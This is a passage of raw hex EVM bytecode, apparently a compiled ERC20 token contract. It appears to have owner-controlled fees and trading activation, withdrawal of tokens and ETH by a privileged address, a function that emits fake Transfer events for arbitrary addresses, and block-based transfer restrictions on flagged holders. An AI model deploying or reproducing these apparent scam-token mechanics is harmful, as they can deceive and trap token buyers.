00a63576001905062000b36565b8162000a73576000905062000b36565b816001811462000a8c576002811462000a975762000acd565b600191505062000b36565b60ff84111562000aac5762000aab620009ba565b5b8360020a91508482111562000ac65762000ac5620009ba565b5b5062000b36565b5060208310610133831016604e8410600b841016171562000b075782820a90508381111562000b015762000b00620009ba565b5b62000b36565b62000b168484846001620009f6565b9250905081840481111562000b305762000b2f620009ba565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000b618262000b3d565b915062000b6e8362000b47565b925062000b9d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a51565b905092915050565b600062000bb28262000b3d565b915062000bbf8362000b3d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bfb5762000bfa620009ba565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c388262000c0b565b9050919050565b62000c4a8162000c2b565b811462000c5657600080fd5b50565b60008151905062000c6a8162000c3f565b92915050565b60006020828403121562000c895762000c8862000c06565b5b600062000c998482850162000c59565b91505092915050565b60008115159050919050565b62000cb98162000ca2565b82525050565b600060208201905062000cd6600083018462000cae565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000d25601f8362000cdc565b915062000d328262000ced565b602082019050919050565b6000602082019050818103600083015262000d588162000d16565b9050919050565b600062000d6c8262000b3d565b915062000d798362000b3d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000db15762000db0620009ba565b5b828201905092915050565b62000dc78162000b3d565b82525050565b600060208201905062000de4600083018462000dbc565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e2260208362000cdc565b915062000e2f8262000dea565b602082019050919050565b6000602082019050818103600083015262000e558162000e13565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ea457607f821691505b6020821081141562000ebb5762000eba62000e5c565b5b50919050565b6080516141c462000ef260003960008181610d54015281816122eb015281816123cc01526123f301526141c46000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063e2f456051161006f578063e2f45605146107b8578063e57f14e1146107e3578063f2fde38b1461080c578063f8b45b0514610835578063ffb54a991461086057610225565b8063c8c8ebe4146106e3578063c9567bf91461070e578063cf9522fd14610725578063dd62ed3e14610750578063dd8546521461078d57610225565b8063a457c2d7116100f2578063a457c2d7146105ee578063a9059cbb1461062b578063afa4f3b214610668578063b18834aa14610691578063c2b7bbb6146106ba57610225565b806389291a8f146105585780638da5cb5b1461056f57806395d89b411461059a5780639a7a23d6146105c557610225565b80633be6e637116101a657806370a082311161017557806370a082311461049b578063715018a6146104d8578063751039fc146104ef5780637571336a146105065780637963e1d21461052f57610225565b80633be6e637146103f35780635178624c1461041c578063583e0568146104455780636ddd17131461047057610225565b806323b872dd116101ed57806323b872dd146102fa578063311028af14610337578063313ce56714610362578063346cc7be1461038d57806339509351146103b657610225565b806306fdde031461022a578063095ea7b31461025557806316e155241461029257806318160ddd146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f61088b565b60405161024c9190612b79565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c43565b61091d565b6040516102899190612c9e565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612cb9565b610940565b6040516102c69190612c9e565b60405180910390f35b3480156102db57600080fd5b506102e4610996565b6040516102f19190612cf5565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190612d10565b6109a0565b60405161032e9190612c9e565b60405180910390f35b34801561034357600080fd5b5061034c6109cf565b6040516103599190612cf5565b60405180910390f35b34801561036e57600080fd5b506103776109d5565b6040516103849190612d7f565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612cb9565b6109de565b005b3480156103c257600080fd5b506103dd60048036038101906103d89190612c43565b610bab565b6040516103ea9190612c9e565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612d9a565b610be2565b005b34801561042857600080fd5b50610443600480360381019061043e9190612f4e565b610c4d565b005b34801561045157600080fd5b5061045a610d52565b6040516104679190613009565b60405180910390f35b34801561047c57600080fd5b50610485610d76565b6040516104929190612c9e565b60405180910390f35b3480156104a757600080fd5b506104c260048036038101906104bd9190612cb9565b610d89565b6040516104cf9190612cf5565b60405180910390f35b3480156104e457600080fd5b506104ed610dd1565b005b3480156104fb57600080fd5b50610504610de5565b005b34801561051257600080fd5b5061052d60048036038101906105289190613024565b610e0a565b005b34801561053b57600080fd5b5061055660048036038101906105519190613064565b610e6d565b005b34801561056457600080fd5b5061056d610f73565b005b34801561057b57600080fd5b50610584611060565b60405161059191906130a0565b60405180910390f35b3480156105a657600080fd5b506105af61108a565b6040516105bc9190612b79565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190613024565b61111c565b005b3480156105fa57600080fd5b5061061560048036038101906106109190612c43565b6111c3565b6040516106229190612c9e565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d9190612c43565b61123a565b60405161065f9190612c9e565b60405180910390f35b34801561067457600080fd5b5061068f600480360381019061068a9190613064565b61125d565b005b34801561069d57600080fd5b506106b860048036038101906106b39190613116565b61128d565b005b3480156106c657600080fd5b506106e160048036038101906106dc9190612cb9565b61136a565b005b3480156106ef57600080fd5b506106f86113b6565b6040516107059190612cf5565b60405180910390f35b34801561071a57600080fd5b506107236113bc565b005b34801561073157600080fd5b5061073a6113fc565b6040516107479190612cf5565b60405180910390f35b34801561075c57600080fd5b5061077760048036038101906107729190613176565b611402565b6040516107849190612cf5565b60405180910390f35b34801561079957600080fd5b506107a2611489565b6040516107af9190612cf5565b60405180910390f35b3480156107c457600080fd5b506107cd61148f565b6040516107da9190612cf5565b60405180910390f35b3480156107ef57600080fd5b5061080a60048036038101906108059190612cb9565b611495565b005b34801561081857600080fd5b50610833600480360381019061082e9190612cb9565b611547565b005b34801561084157600080fd5b5061084a6115cb565b6040516108579190612cf5565b60405180910390f35b34801561086c57600080fd5b506108756115d1565b6040516108829190612c9e565b60405180910390f35b60606003805461089a906131e5565b80601f01602080910402602001604051908101604052809291908181526020018280546108c6906131e5565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b6000806109286115e4565b90506109358185856115ec565b600191505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600254905090565b6000806109ab6115e4565b90506109b88582856117b7565b6109c3858585611843565b60019150509392505050565b600a5481565b60006009905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a1f6115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610a3f57600080fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a7f91906130a0565b602060405180830381865afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac0919061322c565b905060008111610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc906132a5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b629291906132c5565b6020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190613303565b50505050565b600080610bb66115e4565b9050610bd7818585610bc88589611402565b610bd2919061335f565b6115ec565b600191505092915050565b610bea612108565b60148211158015610bfc575060328111155b610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290613401565b60405180910390fd5b81600f81905550806010819055505050565b610c55612108565b60005b8251811015610d4d578160116000858481518110610c7957610c78613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610ce557610ce4613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610d329190612c9e565b60405180910390a28080610d4590613450565b915050610c58565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dd9612108565b610de36000612186565b565b610ded612108565b6000610df7610996565b905080600b8190555080600c8190555050565b610e12612108565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eae6115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610ece57600080fd5b6000610ed8610996565b90506000610ee530610d89565b905060006064841415610efa57819050610f21565b60648484610f089190613499565b610f129190613522565b905081811115610f20578190505b5b81811115610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b906135c5565b60405180910390fd5b610f6d8161224c565b50505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fb46115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610fd457600080fd5b60004711611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100e90613631565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611099906131e5565b80601f01602080910402602001604051908101604052809291908181526020018280546110c5906131e5565b80156111125780601f106110e757610100808354040283529160200191611112565b820191906000526020600020905b8154815290600101906020018083116110f557829003601f168201915b5050505050905090565b611124612108565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac906136c3565b60405180910390fd5b6111bf82826124ab565b5050565b6000806111ce6115e4565b905060006111dc8286611402565b905083811015611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890613755565b60405180910390fd5b61122e82868684036115ec565b60019250505092915050565b6000806112456115e4565b9050611252818585611843565b600191505092915050565b611265612108565b61126d6109d5565b600a61127991906138a8565b816112849190613499565b600d8190555050565b611295612108565b60005b83839050811015611364578383828181106112b6576112b5613421565b5b90506020020160208101906112cb9190612cb9565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113499190612cf5565b60405180910390a3808061135c90613450565b915050611298565b50505050565b611372612108565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b6113c4612108565b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b61149d612108565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb600060405161153c9190612c9e565b60405180910390a250565b61154f612108565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613965565b60405180910390fd5b6115c881612186565b50565b600c5481565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561165c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611653906139f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c390613a89565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117aa9190612cf5565b60405180910390a3505050565b60006117c38484611402565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461183d578181101561182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613af5565b60405180910390fd5b61183c84848484036115ec565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118aa90613b87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90613c19565b60405180910390fd5b600081141561193d576119388383600061254c565b612103565b611945611060565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b35750611983611060565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750600960149054906101000a900460ff16155b15611db757600e60009054906101000a900460ff16611b3957601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af95750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f90613c85565b60405180910390fd5b5b43601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c205750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cc757600b54811115611c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6190613d17565b60405180910390fd5b600c54611c7683610d89565b82611c81919061335f565b1115611cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb990613d83565b60405180910390fd5b611db6565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d6a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db557600b54811115611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90613e15565b60405180910390fd5b5b5b5b6000611dc230610d89565b905060008082119050808015611de45750600e60019054906101000a900460ff165b8015611dfd5750600960149054906101000a900460ff16155b8015611e535750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ea95750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eff5750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f44576001600960146101000a81548160ff021916908315150217905550611f28836127c4565b6000600960146101000a81548160ff0219169083151502179055505b611f4d85610940565b15611f5c57611f5b85612958565b5b6000600960149054906101000a900460ff169050601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120115750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561201b57600090505b600081156120f357601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120a45761209d606461208f601054886129e290919063ffffffff16565b6129f890919063ffffffff16565b90506120cf565b6120cc60646120be600f54886129e290919063ffffffff16565b6129f890919063ffffffff16565b90505b60008111156120e4576120e387308361254c565b5b80856120f09190613e35565b94505b6120fe87878761254c565b505050505b505050565b6121106115e4565b73ffffffffffffffffffffffffffffffffffffffff1661212e612a0e565b73ffffffffffffffffffffffffffffffffffffffff1614612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90613eb5565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561226957612268612ddf565b5b6040519080825280602002602001820160405280156122975781602001602082028036833780820191505090505b50905030816000815181106122af576122ae613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612354573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123789190613eea565b8160018151811061238c5761238b613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f1307f0000000000000000000000000000000000000000000000000000000000000000846115ec565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612475959493929190614010565b600060405180830381600087803b15801561248f57600080fd5b505af11580156124a3573d6000803e3d6000fd5b505050505050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b390613b87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561262c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262390613c19565b60405180910390fd5b612637838383612a22565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156126bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b4906140dc565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127ab9190612cf5565b60405180910390a36127be848484612a27565b50505050565b60006127cf30610d89565b90506000808214156127e2575050612955565b6000601054600f546127f4919061335f565b14156128715760008211801561280b5750600d5482105b156128185781905061286c565b60006128426064612834601054876129e290919063ffffffff16565b6129f890919063ffffffff16565b905080846128509190613e35565b9350600d5484111561286657600d54915061286a565b8391505b505b612949565b60008211801561289557506128926005600d546129f890919063ffffffff16565b82105b156128a1575050612955565b6000821180156128c557506128c26005600d546129f890919063ffffffff16565b82115b80156128d25750600d5482105b156128f4576128ed6005600d546129f890919063ffffffff16565b9050612948565b600061291e6064612910601054876129e290919063ffffffff16565b6129f890919063ffffffff16565b9050808461292c9190613e35565b9350600d5484111561294257600d549150612946565b8391505b505b5b6129528161224c565b50505b50565b6129a0601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2c565b6129df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d69061416e565b60405180910390fd5b50565b600081836129f09190613499565b905092915050565b60008183612a069190613522565b905092915050565b600080612a19612a38565b90508091505090565b505050565b505050565b60004382119050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ab757600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612adb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b1a578082015181840152602081019050612aff565b83811115612b29576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b4b82612ae0565b612b558185612aeb565b9350612b65818560208601612afc565b612b6e81612b2f565b840191505092915050565b60006020820190508181036000830152612b938184612b40565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bda82612baf565b9050919050565b612bea81612bcf565b8114612bf557600080fd5b50565b600081359050612c0781612be1565b92915050565b6000819050919050565b612c2081612c0d565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b60008060408385031215612c5a57612c59612ba5565b5b6000612c6885828601612bf8565b9250506020612c7985828601612c2e565b9150509250929050565b60008115159050919050565b612c9881612c83565b82525050565b6000602082019050612cb36000830184612c8f565b92915050565b600060208284031215612ccf57612cce612ba5565b5b6000612cdd84828501612bf8565b91505092915050565b612cef81612c0d565b82525050565b6000602082019050612d0a6000830184612ce6565b92915050565b600080600060608486031215612d2957612d28612ba5565b5b6000612d3786828701612bf8565b9350506020612d4886828701612bf8565b9250506040612d5986828701612c2e565b9150509250925092565b600060ff82169050919050565b612d7981612d63565b82525050565b6000602082019050612d946000830184612d70565b92915050565b60008060408385031215612db157612db0612ba5565b5b6000612dbf85828601612c2e565b9250506020612dd085828601612c2e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e1782612b2f565b810181811067ffffffffffffffff82111715612e3657612e35612ddf565b5b80604052505050565b6000612e49612b9b565b9050612e558282612e0e565b919050565b600067ffffffffffffffff821115612e7557612e74612ddf565b5b602082029050602081019050919050565b600080fd5b6000612e9e612e9984612e5a565b612e3f565b90508083825260208201905060208402830185811115612ec157612ec0612e86565b5b835b81811015612eea5780612ed68882612bf8565b845260208401935050602081019050612ec3565b5050509392505050565b600082601f830112612f0957612f08612dda565b5b8135612f19848260208601612e8b565b91505092915050565b612f2b81612c83565b8114612f3657600080fd5b50565b600081359050612f4881612f22565b92915050565b60008060408385031215612f6557612f64612ba5565b5b600083013567ffffffffffffffff811115612f8357612f82612baa565b5b612f8f85828601612ef4565b9250506020612fa085828601612f39565b9150509250929050565b6000819050919050565b6000612fcf612fca612fc584612baf565b612faa565b612baf565b9050919050565b6000612fe182612fb4565b9050919050565b6000612ff382612fd6565b9050919050565b61300381612fe8565b82525050565b600060208201905061301e6000830184612ffa565b92915050565b6000806040838503121561303b5761303a612ba5565b5b600061304985828601612bf8565b925050602061305a85828601612f39565b9150509250929050565b60006020828403121561307a57613079612ba5565b5b600061308884828501612c2e565b91505092915050565b61309a81612bcf565b82525050565b60006020820190506130b56000830184613091565b92915050565b600080fd5b60008083601f8401126130d6576130d5612dda565b5b8235905067ffffffffffffffff8111156130f3576130f26130bb565b5b60208301915083602082028301111561310f5761310e612e86565b5b9250929050565b60008060006040848603121561312f5761312e612ba5565b5b600084013567ffffffffffffffff81111561314d5761314c612baa565b5b613159868287016130c0565b9350935050602061316c86828701612c2e565b9150509250925092565b6000806040838503121561318d5761318c612ba5565b5b600061319b85828601612bf8565b92505060206131ac85828601612bf8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806131fd57607f821691505b60208210811415613211576132106131b6565b5b50919050565b60008151905061322681612c17565b92915050565b60006020828403121561324257613241612ba5565b5b600061325084828501613217565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b600061328f601283612aeb565b915061329a82613259565b602082019050919050565b600060208201905081810360008301526132be81613282565b9050919050565b60006040820190506132da6000830185613091565b6132e76020830184612ce6565b9392505050565b6000815190506132fd81612f22565b92915050565b60006020828403121561331957613318612ba5565b5b6000613327848285016132ee565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061336a82612c0d565b915061337583612c0d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133aa576133a9613330565b5b828201905092915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133eb601683612aeb565b91506133f6826133b5565b602082019050919050565b6000602082019050818103600083015261341a816133de565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061345b82612c0d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561348e5761348d613330565b5b600182019050919050565b60006134a482612c0d565b91506134af83612c0d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134e8576134e7613330565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352d82612c0d565b915061353883612c0d565b925082613548576135476134f3565b5b828204905092915050565b7f5377617020616d6f756e74206578636565647320636f6e74726163742062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b60006135af602483612aeb565b91506135ba82613553565b604082019050919050565b600060208201905081810360008301526135de816135a2565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b600061361b601683612aeb565b9150613626826135e5565b602082019050919050565b6000602082019050818103600083015261364a8161360e565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006136ad603983612aeb565b91506136b882613651565b604082019050919050565b600060208201905081810360008301526136dc816136a0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061373f602583612aeb565b915061374a826136e3565b604082019050919050565b6000602082019050818103600083015261376e81613732565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156137cc578086048111156137a8576137a7613330565b5b60018516156137b75780820291505b80810290506137c585613775565b945061378c565b94509492505050565b6000826137e557600190506138a1565b816137f357600090506138a1565b8160018114613809576002811461381357613842565b60019150506138a1565b60ff84111561382557613824613330565b5b8360020a91508482111561383c5761383b613330565b5b506138a1565b5060208310610133831016604e8410600b84101617156138775782820a90508381111561387257613871613330565b5b6138a1565b6138848484846001613782565b9250905081840481111561389b5761389a613330565b5b81810290505b9392505050565b60006138b382612c0d565b91506138be83612d63565b92506138eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137d5565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061394f602683612aeb565b915061395a826138f3565b604082019050919050565b6000602082019050818103600083015261397e81613942565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139e1602483612aeb565b91506139ec82613985565b604082019050919050565b60006020820190508181036000830152613a10816139d4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a73602283612aeb565b9150613a7e82613a17565b604082019050919050565b60006020820190508181036000830152613aa281613a66565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613adf601d83612aeb565b9150613aea82613aa9565b602082019050919050565b60006020820190508181036000830152613b0e81613ad2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613b71602583612aeb565b9150613b7c82613b15565b604082019050919050565b60006020820190508181036000830152613ba081613b64565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c03602383612aeb565b9150613c0e82613ba7565b604082019050919050565b60006020820190508181036000830152613c3281613bf6565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613c6f